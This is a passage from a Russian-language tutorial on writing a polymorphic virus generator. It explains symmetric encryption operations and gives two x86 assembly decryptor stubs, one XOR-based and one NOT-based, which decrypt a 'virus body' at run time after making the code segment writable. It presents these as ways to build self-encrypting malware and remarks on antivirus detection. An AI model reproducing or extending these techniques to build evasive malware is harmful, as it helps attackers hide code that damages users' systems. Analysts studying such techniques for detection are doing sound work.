Полиморфный генератор — своим руками



         

Ступень1 выбор случайного расшифровщика из списка - часть 2


В-третьих, для каждого шифровщика должен существовать парный расшифровщик или же выбранный криптоаглгоритм должен быть симметричен, т. е. повторная шифровка зашифрованного текста расшифровывает его (не путать с симметричной криптографией — это совсем из другой области!)

Свойством "симметрии" обладают операции NOT; XOR X, любая константа; ROL/ROR X, 4 и некоторые другие арифметическо-логические операции, например, ADD byte,100h/2. Простейший симметричный шифровщик может выглядеть так (предварительно необходимо открыть сегмент кода на запись, что можно сделать функцией VirtualProtect):

       MOV    ESI, offset body_begin

       MOV    EDI, ESI

       MOV    ECX, offset body_end - body_begin

my_begin:

       LODSB

       XOR    AL, 66h

       STOSB

LOOP my_begin

body_begin:

; // тело вируса со всеми остальными шифровщиками

body_end:

Листинг 4 симметричный расшифровщик на основе XOR

А вот другой расшифровщик:

       LEA EAX, body_end

my_begin:

       NOT    byte ptr DS:[EAX]

       SUB    EAX, offset body_begin +1

       PUSHF

       ADD    EAX, offset body_begin

       POPF

       JNZ my_begin

body_begin:

; // тело вируса со всеми остальными шифровщиками

body_end:

Листинг 5 симметричный расшифровщик на основе NOT

Несимметричные шифровщики/расшифровщики устроены сложнее, зато здесь наблюдается гораздо большее разнообразие. Можно использовать практически любую комбинацию арифметическо-логических команд, только никакого смысла в этом нет. Все равно, если антивирус доберется до файла, он его схватает.




Содержание  Назад  Вперед